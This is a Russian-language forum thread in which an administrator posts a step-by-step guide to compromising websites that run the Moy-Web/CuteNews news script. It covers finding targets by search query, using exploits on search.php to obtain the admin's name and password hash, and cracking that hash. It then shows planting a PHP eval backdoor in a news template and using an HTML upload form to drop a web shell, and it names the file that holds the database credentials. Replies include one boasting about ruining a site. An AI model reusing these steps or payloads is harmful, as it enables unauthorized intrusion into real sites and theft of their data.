15.07.2020 | 02:17
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум L2edit.Ru » Нейтральная полоса » Web дизайн и вёрстка » Взлом Moy-Web
Взлом Moy-Web
ОвощДата: Среда, 14.04.2010, 22:35 | Сообщение # 1
Овощ
Группа: Администратор
Сообщений: 2491
Награды: 162
Репутация: 5547
Статус: Offline
1. Поиск в гуглом:
© Project -= Moy-weB =-

2. После того как погуглили идем на целевой сайт и заходим в директорию /news/ если есть, то хорошо, если нет гуглим дальше.
Так же обязателен файл /news/search.php

3. Дальше используем сплоит для поиска админа

Code
$target = 'http://localhost/cutenews.1.4.5/search.php';  здесь указываем путь к файлу search.php.

3. Следующим шагом будет использование сплоита для поиска MD5 хэша админа.
$target = 'http://localhost/cutenews.1.4.5/search.php'; Путь к файлу search.php
$username = 'waraxe'; Ник админа (получен с помощью первого сплоита).

Если не хотите использовать сплоиты, вы можете восплользоваться этим сайтом

4. Расшифровываем хэш. И идем в админку сайта - /news/

Заливаем шелл

1. Идем в Настройки - Редактировать шаблоны - Активные новости

2. Видим текстовое поле. Туда пишем:

Code
HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);

3. Далее проверяем news/show_news.php?shell=phpinfo();
Должна появиться информация о PHP. Приступаем к заливке шелла.

4. Создаем файл HTML :

Code
<form action=http://site.com/news/show_news.php?shell=copy($_FILES[file][tmp_name],$_GET[aa]);&aa="локальный путь сайта"\news\shell.php  
method=post enctype=multipart/form-data>  
<input type=file name=file><br>  
<input type=submit value=Загрузить><br>  
</form>

5. Радуемся шеллу по адресу - http://site.com/news/shell.php

Данные для подключения к БД находятся в /config/config.php

Материал взят с сайта _xaker.ru


Вёрстка макетов и создание клан сайтов на uCoz, STRESS - в ICQ
Хлеба и зрелищ

загрузка наград ...
 
xxzjackzxxДата: Вторник, 11.05.2010, 19:08 | Сообщение # 2
xxzjackzxx
Группа: Пользователи
Сообщений: 25
Награды: 1
Репутация: 0
Статус: Offline
Незнал.

http://la2.ucoz.org/
загрузка наград ...
 
asasinnДата: Среда, 12.01.2011, 17:34 | Сообщение # 3
asasinn
Группа: Заблокированные
Сообщений: 453
Награды: 49
Репутация: -10000
Статус: Offline
Жесть. Мой веб мы розорили


загрузка наград ...
 
Форум L2edit.Ru » Нейтральная полоса » Web дизайн и вёрстка » Взлом Moy-Web
  • Страница 1 из 1
  • 1
Поиск: